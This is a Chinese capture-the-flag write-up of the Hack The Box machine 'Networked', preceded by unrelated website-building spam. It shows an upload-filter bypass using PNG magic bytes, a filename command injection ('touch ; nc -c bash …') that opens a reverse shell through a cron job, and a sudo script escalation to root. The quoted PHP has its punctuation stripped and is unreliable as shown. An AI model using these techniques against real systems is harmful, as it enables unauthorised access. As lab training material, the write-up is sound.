萍乡网站建设公司,个人网站建设设计,莆田网站建设招标,网站充值平台怎么做Enumeration
nmap
网站更新之后有了一个引导模式#xff0c;更利于学习了#xff0c;之前看ippsec的视频#xff0c;要不总是没有思路#xff0c;现在出现的问题多了提示也更多了#xff0c;还没有使用#xff0c;一会用用再说
首先#xff0c;第一个问题是“目标上正…
Enumeration
nmap
网站更新之后有了一个引导模式更利于学习了之前看ippsec的视频要不总是没有思路现在出现的问题多了提示也更多了还没有使用一会用用再说
首先第一个问题是“目标上正在运行哪个版本的 Apache”
所以先使用nmap快速扫描一下端口看看有什么发现发现对外开放了22和80然后扫描对应端口的详细信息 所以第一个问题就很好回答了快速回答然后拿到下一个题目“网络服务器上包含备份文件的目录的相对路径是什么”
包含备份文件的目录dirsearch扫描一下看看结果
dirsearch -u http://10.10.10.146Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927Output File: /home/kali/.dirsearch/reports/10.10.10.146/_23-09-12_07-13-32.txtError Log: /home/kali/.dirsearch/logs/errors-23-09-12_07-13-32.logTarget: http://10.10.10.146/[07:13:33] Starting:[07:13:47] 403 - 213B - /.ht_wsr.txt[07:13:47] 403 - 216B - /.htaccess.bak1…………[07:17:07] 301 - 235B - /backup - http://10.10.10.146/backup/[07:17:08] 200 - 885B - /backup/[07:17:13] 403 - 210B - /cgi-bin/[07:17:39] 200 - 229B - /index.php[07:17:39] 200 - 229B - /index.php/login/[07:17:58] 200 - 1KB - /photos.php[07:18:26] 200 - 169B - /upload.php[07:18:26] 301 - 236B - /uploads - http://10.10.10.146/uploads/[07:18:26] 200 - 2B - /uploads/
看到扫描结果中就有这一题的答案
“阅读lib.php的源代码后我们发现可以通过上传功能上传JPG、GIF、JPEG和其他一种扩展名。另一个扩展是什么”
把backup.tar下载下来后里面就有lib.php Exploitation
file upload
但是在lib.php中并没有看到相关代码而题目提示了上传打开upload.php发现其中包含了lib.php在其中也看到了另一种被允许的文件格式 第四个任务是“MIME 类型可防止网站上传功能上传实际上不是声明的文件类型的文件。魔术字节用于通过将字节附加到有效负载文件来绕过此问题。PNG 格式的前八个魔法字节是什么以 16 个十六进制字符的形式给出您的答案”
这个答案可以直接去搜索现成的答案 既然提到了这个说不定一会就会有其他用处下一个“在 Linux 操作系统上用户可以安排任务在所需的时间段运行。Linux 中默认的任务调度程序是什么”
下一个问题已经到了linux系统里面了看来该上传文件了在/upload.php下看到一个简易的上传表单 所以按照刚才的提示他应该是要检查png的mine magic number先上传一张真的图片上传成功后可以再photos.php中看到 可以上传文件尝试上传一个反弹shell使用16进制编辑器把文件打开在shell前加上png的magic number然后保存 在上传页面上传该文件利用burpsuite修改文件名为shell.php.png成功上传 上传成功后访问该图片连接然后看到下面的话看起来好像有点意思 在kali中开启监听然后再次访问上传文件的链接成功拿到apache的shell Lateral Movement
可以看到在guly下有user.txt但是我们没法打开根据问题的提示有可能guly的shell获取与cron有关 打开crontab.guly文件发现在特定情况下会执行check_attack.php文件 check_attack.php文件如下脚本获取 /var/www/html/uploads 目录中的文件然后运行lib.php getnameCheck函数检查文件名如果不是有效的ip地址会执行下面attack部分的代码exec(nohup /bin/rm -f $path$value /dev/null 21 );代码会将其删除但是如果拼接指令可以滥用
?php
require /var/www/html/lib.php;
$path /var/www/html/uploads/;
$logpath /tmp/attack.log;
$to guly;
$msg ;
$headers X-Mailer: check_attack.php\r\n;
$files array();
$files preg_grep(/^([^.])/, scandir($path));
foreach ($files as $key $value) {
$msg;
if ($value index.html) {
continue;
}
#echo -------------\n;
#print check: $value\n;
list ($name,$ext) getnameCheck($value);
$check check_ip($name,$value);
if (!($check[0])) {
echo attack!\n;
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec(rm -f $logpath);
exec(nohup /bin/rm -f $path$value /dev/null 21 );
echo rm -f $path$value\n;
mail($to, $msg, $msg, $headers, -F$value);
}
}
?
在uploads目录下新建下面的文件在kali中开启监听
touch ; nc -c bash 10.10.14.5 1234
; 会停止rm -f然后执行后面的nc -e /bin/bash 10.10.14.5 1234等待定时任务执行后即可获得shell 然后就能拿到user的flag
Privilege Escalation
根据题目的提示“What is the name of the script that guly can run as root without a password?”
获取一个简单的交互式shell后直接使用sudo -l看看能干什么 打开changename.sh脚本看起来是要输入一些东西判断之后进行处理 运行该脚本来来回回输入好几次后发现在字符串后跟上/bin/bash就能得到root的shell